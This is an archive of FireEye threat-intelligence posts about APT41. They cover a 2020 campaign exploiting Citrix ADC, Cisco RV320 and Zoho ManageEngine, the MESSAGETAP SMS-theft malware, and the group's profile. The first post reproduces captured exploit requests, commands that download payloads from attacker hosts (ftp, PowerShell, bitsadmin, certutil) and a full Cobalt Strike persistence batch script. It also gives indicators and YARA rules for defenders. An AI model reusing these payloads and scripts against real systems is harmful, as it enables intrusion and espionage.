Category Archives: Dan Perez

This Is Not a Test: APT41 Initiates Global Intrusion Campaign Using Multiple Exploits

Beginning this year, FireEye observed Chinese actor APT41 carry out one of the broadest campaigns by a Chinese cyber espionage actor we have observed in recent years. Between January 20 and March 11, FireEye observed APT41 attempt to exploit vulnerabilities in Citrix NetScaler/ADC, Cisco routers, and Zoho ManageEngine Desktop Central at over 75 FireEye customers. Countries we’ve seen targeted include Australia, Canada, Denmark, Finland, France, India, Italy, Japan, Malaysia, Mexico, Philippines, Poland, Qatar, Saudi Arabia, Singapore, Sweden, Switzerland, UAE, UK and USA. The following industries were targeted: Banking/Finance, Construction, Defense Industrial Base, Government, Healthcare, High Technology, Higher Education, Legal, Manufacturing, Media, Non-profit, Oil & Gas, Petrochemical, Pharmaceutical, Real Estate, Telecommunications, Transportation, Travel, and Utility. It’s unclear if APT41 scanned the Internet and attempted exploitation en masse or selected a subset of specific organizations to target, but the victims appear to be more targeted in nature.

Exploitation of CVE-2019-19781 (Citrix Application Delivery Controller [ADC])

Starting on January 20, 2020, APT41 used the IP address 66.42.98[.]220 to attempt exploits of Citrix Application Delivery Controller (ADC) and Citrix Gateway devices with CVE-2019-19781 (published December 17, 2019).

Figure 1: Timeline of key events

The initial CVE-2019-19781 exploitation activity on January 20 and January 21, 2020, involved execution of the command ‘file /bin/pwd’, which may have achieved two objectives for APT41. First, it would confirm whether the system was vulnerable and the mitigation wasn’t applied. Second, it may return architecture-related information that would be required knowledge for APT41 to successfully deploy a backdoor in a follow-up step.  

One interesting thing to note is that all observed requests were only performed against Citrix devices, suggesting APT41 was operating with an already-known list of identified devices accessible on the internet.

POST /vpns/portal/scripts/ HTTP/1.1
Host: [redacted]
Connection: close
Accept-Encoding: gzip, deflate
Accept: */*
User-Agent: python-requests/2.22.0
NSC_NONCE: nsroot
NSC_USER: ../../../netscaler/portal/templates/[redacted]
Content-Length: 96

url=[redacted]&desc=[%'BLOCK' = 'print `file /bin/pwd`') %]

Figure 2: Example APT41 HTTP traffic exploiting CVE-2019-19781

There is a lull in APT41 activity between January 23 and February 1, which is likely related to the Chinese Lunar New Year holidays which occurred between January 24 and January 30, 2020. This has been a common activity pattern by Chinese APT groups in past years as well.

Starting on February 1, 2020, APT41 moved to using CVE-2019-19781 exploit payloads that initiate a download via the File Transfer Protocol (FTP). Specifically, APT41 executed the command ‘/usr/bin/ftp -o /tmp/bsd ftp://test:[redacted]\@66.42.98[.]220/bsd’, which connected to 66.42.98[.]220 over the FTP protocol, logged in to the FTP server with a username of ‘test’ and a password that we have redacted, and then downloaded an unknown payload named ‘bsd’ (which was likely a backdoor).

POST /vpn/../vpns/portal/scripts/ HTTP/1.1
Accept-Encoding: identity
Content-Length: 147
Connection: close
Nsc_User: ../../../netscaler/portal/templates/[redacted]
User-Agent: Python-urllib/2.7
Nsc_Nonce: nsroot
Host: [redacted]
Content-Type: application/x-www-form-urlencoded

url=[redacted]&desc=[%'BLOCK' = 'print `/usr/bin/ftp -o /tmp/bsd ftp://test:[redacted]\@66.42.98[.]220/bsd`') %]

Figure 3: Example APT41 HTTP traffic exploiting CVE-2019-19781

We did not observe APT41 activity at FireEye customers between February 2 and February 19, 2020. China initiated COVID-19 related quarantines in cities in Hubei province starting on January 23 and January 24, and rolled out quarantines to additional provinces starting between February 2 and February 10. While it is possible that this reduction in activity might be related to the COVID-19 quarantine measures in China, APT41 may have remained active in other ways, which we were unable to observe with FireEye telemetry. We observed a significant uptick in CVE-2019-19781 exploitation on February 24 and February 25. The exploit behavior was almost identical to the activity on February 1, where only the name of the payload ‘un’ changed.

POST /vpn/../vpns/portal/scripts/ HTTP/1.1
Accept-Encoding: identity
Content-Length: 145
Connection: close
Nsc_User: ../../../netscaler/portal/templates/[redacted]
User-Agent: Python-urllib/2.7
Nsc_Nonce: nsroot
Host: [redacted]
Content-Type: application/x-www-form-urlencoded

url= [redacted]&desc=[%'BLOCK' = 'print `/usr/bin/ftp -o /tmp/un ftp://test:[redacted]\@66.42.98[.]220/un`') %]

Figure 4: Example APT41 HTTP traffic exploiting CVE-2019-19781

Citrix released a mitigation for CVE-2019-19781 on December 17, 2019, and as of January 24, 2020, released permanent fixes for all supported versions of Citrix ADC, Gateway, and SD-WAN WANOP.

Cisco Router Exploitation

On February 21, 2020, APT41 successfully exploited a Cisco RV320 router at a telecommunications organization and downloaded a 32-bit ELF binary payload compiled for a 64-bit MIPS processor named ‘fuc’ (MD5: 155e98e5ca8d662fad7dc84187340cbc). It is unknown what specific exploit was used, but there is a Metasploit module that combines two CVE’s (CVE-2019-1653 and CVE-2019-1652) to enable remote code execution on Cisco RV320 and RV325 small business routers and uses wget to download the specified payload.

GET /test/fuc
Host: 66.42.98\.220
User-Agent: Wget
Connection: close

Figure 5: Example HTTP request showing Cisco RV320 router downloading a payload via wget

66.42.98[.]220 also hosted a file name http://66.42.98[.]220/test/1.txt. The content of 1.txt (MD5:  c0c467c8e9b2046d7053642cc9bdd57d) is ‘cat /etc/flash/etc/nk_sysconfig’, which is the command one would execute on a Cisco RV320 router to display the current configuration.

Cisco PSIRT confirmed that fixed software to address the noted vulnerabilities is available and asks customers to review the following security advisories and take appropriate action:

Exploitation of CVE-2020-10189 (Zoho ManageEngine Zero-Day Vulnerability)

On March 5, 2020, researcher Steven Seeley, published an advisory and released proof-of-concept code for a zero-day remote code execution vulnerability in Zoho ManageEngine Desktop Central versions prior to 10.0.474 (CVE-2020-10189). Beginning on March 8, FireEye observed APT41 use 91.208.184[.]78 to attempt to exploit the Zoho ManageEngine vulnerability at more than a dozen FireEye customers, which resulted in the compromise of at least five separate customers. FireEye observed two separate variations of how the payloads (install.bat and storesyncsvc.dll) were deployed. In the first variation the CVE-2020-10189 exploit was used to directly upload “”, a simple Java based program, which contained a set of commands to use PowerShell to download and execute install.bat and storesyncsvc.dll.




Xcmd /c powershell $client = new-object System.Net.WebClient;$client.DownloadFile('http://66.42.98[.]220:12345/test/install.bat','C:\
Windows\Temp\install.bat')&powershell $client = new-object System.Net.WebClient;$client.DownloadFile('http://66.42.98[.]220:12345/test/storesyncsvc.dll','





Figure 6: Contents of

Here we see a toolmark from the tool ysoserial that was used to create the payload in the POC. The string Pwner76328858520609 is unique to the POC payload, indicating that APT41 likely used the POC as source material in their operation.

In the second variation, FireEye observed APT41 leverage the Microsoft BITSAdmin command-line tool to download install.bat (MD5: 7966c2c546b71e800397a67f942858d0) from known APT41 infrastructure 66.42.98[.]220 on port 12345.

Parent Process: C:\ManageEngine\DesktopCentral_Server\jre\bin\java.exe

Process Arguments: cmd /c bitsadmin /transfer bbbb http://66.42.98[.]220:12345/test/install.bat C:\Users\Public\install.bat

Figure 7: Example FireEye Endpoint Security event depicting successful CVE-2020-10189 exploitation

In both variations, the install.bat batch file was used to install persistence for a trial-version of Cobalt Strike BEACON loader named storesyncsvc.dll (MD5: 5909983db4d9023e4098e56361c96a6f).

@echo off

set "WORK_DIR=C:\Windows\System32"

set "DLL_NAME=storesyncsvc.dll"

set "SERVICE_NAME=StorSyncSvc"

set "DISPLAY_NAME=Storage Sync Service"

set "DESCRIPTION=The Storage Sync Service is the top-level resource for File Sync. It creates sync relationships with multiple storage accounts via multiple sync groups. If this service is stopped or disabled, applications will be unable to run collectly."

 sc stop %SERVICE_NAME%

sc delete %SERVICE_NAME%

mkdir %WORK_DIR%

copy "%~dp0%DLL_NAME%" "%WORK_DIR%" /Y

reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost" /v "%SERVICE_NAME%" /t REG_MULTI_SZ /d "%SERVICE_NAME%" /f

sc create "%SERVICE_NAME%" binPath= "%SystemRoot%\system32\svchost.exe -k %SERVICE_NAME%" type= share start= auto error= ignore DisplayName= "%DISPLAY_NAME%"

SC failure "%SERVICE_NAME%" reset= 86400 actions= restart/60000/restart/60000/restart/60000

sc description "%SERVICE_NAME%" "%DESCRIPTION%"

reg add "HKLM\SYSTEM\CurrentControlSet\Services\%SERVICE_NAME%\Parameters" /f

reg add "HKLM\SYSTEM\CurrentControlSet\Services\%SERVICE_NAME%\Parameters" /v "ServiceDll" /t REG_EXPAND_SZ /d "%WORK_DIR%\%DLL_NAME%" /f

net start "%SERVICE_NAME%"

Figure 8: Contents of install.bat

Storesyncsvc.dll was a Cobalt Strike BEACON implant (trial-version) which connected to exchange.dumb1[.]com (with a DNS resolution of 74.82.201[.]8) using a jquery malleable command and control (C2) profile.

GET /jquery-3.3.1.min.js HTTP/1.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip, deflate
Cookie: __cfduid=CdkIb8kXFOR_9Mn48DQwhIEuIEgn2VGDa_XZK_xAN47OjPNRMpJawYvnAhPJYM
User-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko
Connection: Keep-Alive Cache-Control: no-cache

Figure 9: Example APT41 Cobalt Strike BEACON jquery malleable C2 profile HTTP request

Within a few hours of initial exploitation, APT41 used the storescyncsvc.dll BEACON backdoor to download a secondary backdoor with a different C2 address that uses Microsoft CertUtil, a common TTP that we’ve observed APT41 use in past intrusions, which they then used to download 2.exe (MD5: 3e856162c36b532925c8226b4ed3481c). The file 2.exe was a VMProtected Meterpreter downloader used to download Cobalt Strike BEACON shellcode. The usage of VMProtected binaries is another very common TTP that we’ve observed this group leverage in multiple intrusions in order to delay analysis of other tools in their toolkit.

GET /2.exe HTTP/1.1
Cache-Control: no-cache
Connection: Keep-Alive
Pragma: no-cache
Accept: */*
User-Agent: Microsoft-CryptoAPI/6.3
Host: 91.208.184[.]78

Figure 10: Example HTTP request downloading ‘2.exe’ VMProtected Meterpreter downloader via CertUtil

certutil  -urlcache -split -f http://91.208.184[.]78/2.exe

Figure 11: Example CertUtil command to download ‘2.exe’ VMProtected Meterpreter downloader

The Meterpreter downloader ‘TzGG’ was configured to communicate with 91.208.184[.]78 over port 443 to download the shellcode (MD5: 659bd19b562059f3f0cc978e15624fd9) for Cobalt Strike BEACON (trial-version).

User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)
Host: 91.208.184[.]78:443
Connection: Keep-Alive
Cache-Control: no-cache

Figure 12: Example HTTP request downloading ‘TzGG’ shellcode for Cobalt Strike BEACON

The downloaded BEACON shellcode connected to the same C2 server: 91.208.184[.]78. We believe this is an example of the actor attempting to diversify post-exploitation access to the compromised systems.

ManageEngine released a short term mitigation for CVE-2020-10189 on January 20, 2020, and subsequently released an update on March 7, 2020, with a long term fix.


This activity is one of the most widespread campaigns we have seen from China-nexus espionage actors in recent years. While APT41 has previously conducted activity with an extensive initial entry such as the trojanizing of NetSarang software, this scanning and exploitation has focused on a subset of our customers, and seems to reveal a high operational tempo and wide collection requirements for APT41.

It is notable that we have only seen these exploitation attempts leverage publicly available malware such as Cobalt Strike and Meterpreter. While these backdoors are full featured, in previous incidents APT41 has waited to deploy more advanced malware until they have fully understood where they were and carried out some initial reconnaissance. In 2020, APT41 continues to be one of the most prolific threats that FireEye currently tracks. This new activity from this group shows how resourceful and how quickly they can leverage newly disclosed vulnerabilities to their advantage.

Previously, FireEye Mandiant Managed Defense identified APT41 successfully leverage CVE-2019-3396 (Atlassian Confluence) against a U.S. based university. While APT41 is a unique state-sponsored Chinese threat group that conducts espionage, the actor also conducts financially motivated activity for personal gain.




CVE-2019-19781 Exploitation (Citrix Application Delivery Control)


CVE-2019-19781 exploitation attempts with a payload of ‘file /bin/pwd’

CVE-2019-19781 exploitation attempts with a payload of ‘/usr/bin/ftp -o /tmp/un ftp://test:[redacted]\@66.42.98[.]220/bsd’

CVE-2019-19781 exploitation attempts with a payload of ‘/usr/bin/ftp -o /tmp/un ftp://test:[redacted]\@66.42.98[.]220/un’



Cisco Router Exploitation


‘1.txt’ (MD5:  c0c467c8e9b2046d7053642cc9bdd57d)

‘fuc’ (MD5: 155e98e5ca8d662fad7dc84187340cbc

CVE-2020-10189 (Zoho ManageEngine Desktop Central)





install.bat (MD5: 7966c2c546b71e800397a67f942858d0)

storesyncsvc.dll (MD5: 5909983db4d9023e4098e56361c96a6f)



2.exe (MD5: 3e856162c36b532925c8226b4ed3481c)


TzGG (MD5: 659bd19b562059f3f0cc978e15624fd9)

C:\ManageEngine\DesktopCentral_Server\jre\bin\java.exe spawning cmd.exe and/or bitsadmin.exe

Certutil.exe downloading 2.exe and/or payloads from 91.208.184[.]78

PowerShell downloading files with Net.WebClient

Detecting the Techniques

FireEye detects this activity across our platforms. This table contains several specific detection names from a larger list of detections that were available prior to this activity occurring.


Signature Name

Endpoint Security








Network Security








CITRIX ADC [Suspicious Commands]
 EXPLOIT - CITRIX ADC [CVE-2019-19781 Exploit Attempt]
 EXPLOIT - CITRIX ADC [CVE-2019-19781 Exploit Success]
 EXPLOIT - CITRIX ADC [CVE-2019-19781 Payload Access]
 EXPLOIT - CITRIX ADC [CVE-2019-19781 Scanning]
 MALWARE METHODOLOGY [Certutil User-Agent]
 WINDOWS METHODOLOGY [Certutil Downloader]

MITRE ATT&CK Technique Mapping



Initial Access

External Remote Services (T1133), Exploit Public-Facing Application (T1190)


PowerShell (T1086), Scripting (T1064)


New Service (T1050)


Privilege Escalation

Exploitation for Privilege Escalation (T1068)


Defense Evasion

BITS Jobs (T1197), Process Injection (T1055)



Command And Control

Remote File Copy (T1105), Commonly Used Port (T1436), Uncommonly Used Port (T1065), Custom Command and Control Protocol (T1094), Data Encoding (T1132), Standard Application Layer Protocol (T1071)

Appendix A: Discovery Rules

The following Yara rules serve as examples of discovery rules for APT41 actor TTPs, turning the adversary methods or tradecraft into new haystacks for purposes of detection or hunting. For all tradecraft-based discovery rules, we recommend deliberate testing and tuning prior to implementation in any production system. Some of these rules are tailored to build concise haystacks that are easy to review for high-fidelity detections. Some of these rules are broad in aperture that build larger haystacks for further automation or processing in threat hunting systems.

import "pe"

rule ExportEngine_APT41_Loader_String



                        author = "@stvemillertime"

                        description "This looks for a common APT41 Export DLL name in BEACON shellcode loaders, such as loader_X86_svchost.dll"


                        $pcre = /loader_[\x00-\x7F]{1,}\x00/


                        uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550 and $pcre at pe.rva_to_offset(uint32(pe.rva_to_offset(pe.data_directories[pe.IMAGE_DIRECTORY_ENTRY_EXPORT].virtual_address) + 12))


rule ExportEngine_ShortName



        author = "@stvemillertime"

        description = "This looks for Win PEs where Export DLL name is a single character"


        $pcre = /[A-Za-z0-9]{1}\.(dll|exe|dat|bin|sys)/


        uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550 and $pcre at pe.rva_to_offset(uint32(pe.rva_to_offset(pe.data_directories[pe.IMAGE_DIRECTORY_ENTRY_EXPORT].virtual_address) + 12))


rule ExportEngine_xArch



        author = "@stvemillertime"

        description = "This looks for Win PEs where Export DLL name is a something like x32.dat"


             $pcre = /[\x00-\x7F]{1,}x(32|64|86)\.dat\x00/


             uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550 and $pcre at pe.rva_to_offset(uint32(pe.rva_to_offset(pe.data_directories[pe.IMAGE_DIRECTORY_ENTRY_EXPORT].virtual_address) + 12))


rule RareEquities_LibTomCrypt



        author = "@stvemillertime"

        description = "This looks for executables with strings from LibTomCrypt as seen by some APT41-esque actors - might catch everything BEACON as well. You may want to exclude Golang and UPX packed samples."


        $a1 = "LibTomMath"


        uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550 and $a1


rule RareEquities_KCP



        author = "@stvemillertime"

        description = "This is a wide catchall rule looking for executables with equities for a transport library called KCP, Matches on this rule may have built-in KCP transport ability."


        $a01 = "[RO] %ld bytes"

        $a02 = "recv sn=%lu"

        $a03 = "[RI] %d bytes"

        $a04 = "input ack: sn=%lu rtt=%ld rto=%ld"

        $a05 = "input psh: sn=%lu ts=%lu"

        $a06 = "input probe"

        $a07 = "input wins: %lu"

        $a08 = "rcv_nxt=%lu\\n"

        $a09 = "snd(buf=%d, queue=%d)\\n"

        $a10 = "rcv(buf=%d, queue=%d)\\n"

        $a11 = "rcvbuf"


        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and filesize < 5MB and 3 of ($a*)


rule ConventionEngine_Term_Users



                        author = "@stvemillertime"

                        description = "Searching for PE files with PDB path keywords, terms or anomalies."

                        sample_md5 = "09e4e6fa85b802c46bc121fcaecc5666"

                        ref_blog = ""


                        $pcre = /RSDS[\x00-\xFF]{20}[a-zA-Z]:\\[\x00-\xFF]{0,200}Users[\x00-\xFF]{0,200}\.pdb\x00/ nocase ascii


                        (uint16(0) == 0x5A4D) and uint32(uint32(0x3C)) == 0x00004550 and $pcre


rule ConventionEngine_Term_Desktop



                        author = "@stvemillertime"

                        description = "Searching for PE files with PDB path keywords, terms or anomalies."

                        sample_md5 = "71cdba3859ca8bd03c1e996a790c04f9"

                        ref_blog = ""


                        $pcre = /RSDS[\x00-\xFF]{20}[a-zA-Z]:\\[\x00-\xFF]{0,200}Desktop[\x00-\xFF]{0,200}\.pdb\x00/ nocase ascii


                        (uint16(0) == 0x5A4D) and uint32(uint32(0x3C)) == 0x00004550 and $pcre


rule ConventionEngine_Anomaly_MultiPDB_Double



                        author = "@stvemillertime"

                        description = "Searching for PE files with PDB path keywords, terms or anomalies."

                        sample_md5 = "013f3bde3f1022b6cf3f2e541d19353c"

                        ref_blog = ""


                        $pcre = /RSDS[\x00-\xFF]{20}[a-zA-Z]:\\[\x00-\xFF]{0,200}\.pdb\x00/


                        (uint16(0) == 0x5A4D) and uint32(uint32(0x3C)) == 0x00004550 and #pcre == 2


MESSAGETAP: Who’s Reading Your Text Messages?

FireEye Mandiant recently discovered a new malware family used by APT41 (a Chinese APT group) that is designed to monitor and save SMS traffic from specific phone numbers, IMSI numbers and keywords for subsequent theft. Named MESSAGETAP, the tool was deployed by APT41 in a telecommunications network provider in support of Chinese espionage efforts. APT41’s operations have included state-sponsored cyber espionage missions as well as financially-motivated intrusions. These operations have spanned from as early as 2012 to the present day. For an overview of APT41, see our August 2019 blog post or our full published report. MESSAGETAP was first reported to FireEye Threat Intelligence subscribers in August 2019 and initially discussed publicly in an APT41 presentation at FireEye Cyber Defense Summit 2019.


APT41's newest espionage tool, MESSAGETAP, was discovered during a 2019 investigation at a telecommunications network provider within a cluster of Linux servers. Specifically, these Linux servers operated as Short Message Service Center (SMSC) servers. In mobile networks, SMSCs are responsible for routing Short Message Service (SMS) messages to an intended recipient or storing them until the recipient has come online. With this background, let's dig more into the malware itself.

MESSAGETAP is a 64-bit ELF data miner initially loaded by an installation script. Once installed, the malware checks for the existence of two files: keyword_parm.txt and parm.txt and attempts to read the configuration files every 30 seconds.  If either exist, the contents are read and XOR decoded with the string:

    • Interestingly, this XOR key leads to a URL owned by the European Telecommunications Standards Institute (ETSI). The document explains the Short Message Service (SMS) for GSM and UMTS Networks. It describes architecture as well as requirements and protocols for SMS.

These two files, keyword_parm.txt and parm.txt contain instructions for MESSAGETAP to target and save contents of SMS messages.

  • The first file (parm.txt) is a file containing two lists:
    • imsiMap: This list contains International Mobile Subscriber Identity (IMSI) numbers. IMSI numbers identify subscribers on a cellular network.
    • phoneMap: The phoneMap list contains phone numbers.
  • The second file (keyword_parm.txt) is a list of keywords that is read into keywordVec.

Both files are deleted from disk once the configuration files are read and loaded into memory. After loading the keyword and phone data files, MESSAGETAP begins monitoring all network connections to and from the server. It uses the libpcap library to listen to all traffic and parses network protocols starting with Ethernet and IP layers. It continues parsing protocol layers including SCTP, SCCP, and TCAP. Finally, the malware parses and extracts SMS message data from the network traffic:

  1. SMS message contents
  2. The IMSI number
  3. The source and destination phone numbers

The malware searches the SMS message contents for keywords from the keywordVec list, compares the IMSI number with numbers from the imsiMap list, and checks the extracted phone numbers with the numbers in the phoneMap list.

Figure 1: General Overview Diagram of MESSAGETAP

If the SMS message text contains one of the keywordVec values, the contents are XORed and saved to a path with the following format:

  • /etc/<redacted>/kw_<year><month><day>.csv

The malware compares the IMSI number and phone numbers with the values from the imsiMap and phoneMap lists. If found, the malware XORs the contents and stores the data in a path with the following format:

  • /etc/<redacted>/<year><month><day>.csv

If the malware fails to parse a message correctly, it dumps it to the following location:

  • /etc/<redacted>/<year><month><day>_<count>.dump

Significance of Input Files

The configuration files provide context into the targets of this information gathering and monitoring campaign. The data in keyword_parm.txt contained terms of geopolitical interest to Chinese intelligence collection. The two lists phoneMap and imsiMap from parm.txt contained a high volume of phone numbers and IMSI numbers.

For a quick review, IMSI numbers are used in both GSM (Global System for Mobiles) and UMTS (Universal Mobile Telecommunications System) mobile phone networks and consists of three parts:

  1. Mobile Country Code (MCC)
  2. Mobile Network Code (MNC)
  3. Mobile Station Identification Number (MSIN)

The Mobile Country Code corresponds to the subscriber’s country, the Mobile Network Code corresponds to the specific provider and the Mobile Station Identification Number is uniquely tied to a specific subscriber.

Figure 2: IMSI number description

The inclusion of both phone and IMSI numbers show the highly targeted nature of this cyber intrusion. If an SMS message contained either a phone number or an IMSI number that matched the predefined list, it was saved to a CSV file for later theft by the threat actor.

Similarly, the keyword list contained items of geopolitical interest for Chinese intelligence collection. Sanitized examples include the names of political leaders, military and intelligence organizations and political movements at odds with the Chinese government. If any SMS messages contained these keywords, MESSAGETAP would save the SMS message to a CSV file for later theft by the threat actor.

In addition to MESSAGETAP SMS theft, FireEye Mandiant also identified the threat actor interacting with call detail record (CDR) databases to query, save and steal records during this same intrusion. The CDR records corresponded to foreign high-ranking individuals of interest to the Chinese intelligence services. Targeting CDR information provides a high-level overview of phone calls between individuals, including time, duration, and phone numbers. In contrast, MESSAGETAP captures the contents of specific text messages.

Looking Ahead

The use of MESSAGETAP and targeting of sensitive text messages and call detail records at scale is representative of the evolving nature of Chinese cyber espionage campaigns observed by FireEye. APT41 and multiple other threat groups attributed to Chinese state-sponsored actors have increased their targeting of upstream data entities since 2017. These organizations, located multiple layers above end-users, occupy critical information junctures in which data from multitudes of sources converge into single or concentrated nodes. Strategic access into these organizations, such as telecommunication providers, enables the Chinese intelligence services an ability to obtain sensitive data at scale for a wide range of priority intelligence requirements.

In 2019, FireEye observed four telecommunication organizations targeted by APT41 actors. Further, four additional telecommunications entities were targeted in 2019 by separate threat groups with suspected Chinese state-sponsored associations. Beyond telecommunication organizations, other client verticals that possess sensitive records related to specific individuals of interest, such as major travel services and healthcare providers, were also targeted by APT41. This is reflective of an evolving Chinese targeting trend focused on both upstream data and targeted surveillance. For deeper analysis regarding recent Chinese cyber espionage targeting trends, customers may refer to the FireEye Threat Intelligence Portal. This topic was also briefed at FireEye Cyber Defense Summit 2019.

FireEye assesses this trend will continue in the future. Accordingly, both users and organizations must consider the risk of unencrypted data being intercepted several layers upstream in their cellular communication chain. This is especially critical for highly targeted individuals such as dissidents, journalists and officials that handle highly sensitive information. Appropriate safeguards such as utilizing a communication program that enforces end-to-end encryption can mitigate a degree of this risk. Additionally, user education must impart the risks of transmitting sensitive data over SMS. More broadly, the threat to organizations that operate at critical information junctures will only increase as the incentives for determined nation-state actors to obtain data that directly support key geopolitical interests remains.

FireEye Detections

  • FE_APT_Controller_SH_MESSAGETAP_1
  • FE_APT_Trojan_Linux64_MESSAGETAP_1
  • FE_APT_Trojan_Linux_MESSAGETAP_1   
  • FE_APT_Trojan_Linux_MESSAGETAP_2    
  • FE_APT_Trojan_Linux_MESSAGETAP_3

Example File

  • File name: mtlserver
  • MD5 hash: 8D3B3D5B68A1D08485773D70C186D877

*This sample was identified by FireEye on VirusTotal and provides an example for readers to reference. The file is a less robust version than instances of MESSAGETAP identified in intrusions and may represent an earlier test of the malware. The file and any of its embedded data were not observed in any Mandiant Consulting engagement*



Thank you to Adrian Pisarczyk, Matias Bevilacqua and Marcin Siedlarz for identification and analysis of MESSAGETAP at a FireEye Mandiant Consulting engagement.

APT41: A Dual Espionage and Cyber Crime Operation

Today, FireEye Intelligence is releasing a comprehensive report detailing APT41, a prolific Chinese cyber threat group that carries out state-sponsored espionage activity in parallel with financially motivated operations. APT41 is unique among tracked China-based actors in that it leverages non-public malware typically reserved for espionage campaigns in what appears to be activity for personal gain. Explicit financially-motivated targeting is unusual among Chinese state-sponsored threat groups, and evidence suggests APT41 has conducted simultaneous cyber crime and cyber espionage operations from 2014 onward.

The full published report covers historical and ongoing activity attributed to APT41, the evolution of the group’s tactics, techniques, and procedures (TTPs), information on the individual actors, an overview of their malware toolset, and how these identifiers overlap with other known Chinese espionage operators. APT41 partially coincides with public reporting on groups including BARIUM (Microsoft) and Winnti (Kaspersky, ESET, Clearsky).

Who Does APT41 Target?

Like other Chinese espionage operators, APT41 espionage targeting has generally aligned with China's Five-Year economic development plans. The group has established and maintained strategic access to organizations in the healthcare, high-tech, and telecommunications sectors. APT41 operations against higher education, travel services, and news/media firms provide some indication that the group also tracks individuals and conducts surveillance. For example, the group has repeatedly targeted call record information at telecom companies. In another instance, APT41 targeted a hotel’s reservation systems ahead of Chinese officials staying there, suggesting the group was tasked to reconnoiter the facility for security reasons.

The group’s financially motivated activity has primarily focused on the video game industry, where APT41 has manipulated virtual currencies and even attempted to deploy ransomware. The group is adept at moving laterally within targeted networks, including pivoting between Windows and Linux systems, until it can access game production environments. From there, the group steals source code as well as digital certificates which are then used to sign malware. More importantly, APT41 is known to use its access to production environments to inject malicious code into legitimate files which are later distributed to victim organizations. These supply chain compromise tactics have also been characteristic of APT41’s best known and most recent espionage campaigns.

Interestingly, despite the significant effort required to execute supply chain compromises and the large number of affected organizations, APT41 limits the deployment of follow-on malware to specific victim systems by matching against individual system identifiers. These multi-stage operations restrict malware delivery only to intended victims and significantly obfuscate the intended targets. In contrast, a typical spear-phishing campaign’s desired targeting can be discerned based on recipients' email addresses.

A breakdown of industries directly targeted by APT41 over time can be found in Figure 1.


Figure 1: Timeline of industries directly targeted by APT41

Probable Chinese Espionage Contractors

Two identified personas using the monikers “Zhang Xuguang” and “Wolfzhi” linked to APT41 operations have also been identified in Chinese-language forums. These individuals advertised their skills and services and indicated that they could be hired. Zhang listed his online hours as 4:00pm to 6:00am, similar to APT41 operational times against online gaming targets and suggesting that he is moonlighting. Mapping the group’s activities since 2012 (Figure 2) also provides some indication that APT41 primarily conducts financially motivated operations outside of their normal day jobs.

Attribution to these individuals is backed by identified persona information, their previous work and apparent expertise in programming skills, and their targeting of Chinese market-specific online games. The latter is especially notable because APT41 has repeatedly returned to targeting the video game industry and we believe these activities were formative in the group’s later espionage operations.

Figure 2: Operational activity for gaming versus non-gaming-related targeting based on observed operations since 2012

The Right Tool for the Job

APT41 leverages an arsenal of over 46 different malware families and tools to accomplish their missions, including publicly available utilities, malware shared with other Chinese espionage operations, and tools unique to the group. The group often relies on spear-phishing emails with attachments such as compiled HTML (.chm) files to initially compromise their victims. Once in a victim organization, APT41 can leverage more sophisticated TTPs and deploy additional malware. For example, in a campaign running almost a year, APT41 compromised hundreds of systems and used close to 150 unique pieces of malware including backdoors, credential stealers, keyloggers, and rootkits.

APT41 has also deployed rootkits and Master Boot Record (MBR) bootkits on a limited basis to hide their malware and maintain persistence on select victim systems. The use of bootkits in particular adds an extra layer of stealth because the code is executed prior to the operating system initializing. The limited use of these tools by APT41 suggests the group reserves more advanced TTPs and malware only for high-value targets.

Fast and Relentless

APT41 quickly identifies and compromises intermediary systems that provide access to otherwise segmented parts of an organization’s network. In one case, the group compromised hundreds of systems across multiple network segments and several geographic regions in as little as two weeks.

The group is also highly agile and persistent, responding quickly to changes in victim environments and incident responder activity. Hours after a victimized organization made changes to thwart APT41, for example, the group compiled a new version of a backdoor using a freshly registered command-and-control domain and compromised several systems across multiple geographic regions. In a different instance, APT41 sent spear-phishing emails to multiple HR employees three days after an intrusion had been remediated and systems were brought back online. Within hours of a user opening a malicious attachment sent by APT41, the group had regained a foothold within the organization's servers across multiple geographic regions.

Looking Ahead

APT41 is a creative, skilled, and well-resourced adversary, as highlighted by the operation’s distinct use of supply chain compromises to target select individuals, consistent signing of malware using compromised digital certificates, and deployment of bootkits (which is rare among Chinese APT groups).

Like other Chinese espionage operators, APT41 appears to have moved toward strategic intelligence collection and establishing access and away from direct intellectual property theft since 2015. This shift, however, has not affected the group's consistent interest in targeting the video game industry for financially motivated reasons. The group's capabilities and targeting have both broadened over time, signaling the potential for additional supply chain compromises affecting a variety of victims in additional verticals.

APT41's links to both underground marketplaces and state-sponsored activity may indicate the group enjoys protections that enables it to conduct its own for-profit activities, or authorities are willing to overlook them. It is also possible that APT41 has simply evaded scrutiny from Chinese authorities. Regardless, these operations underscore a blurred line between state power and crime that lies at the heart of threat ecosystems and is exemplified by APT41.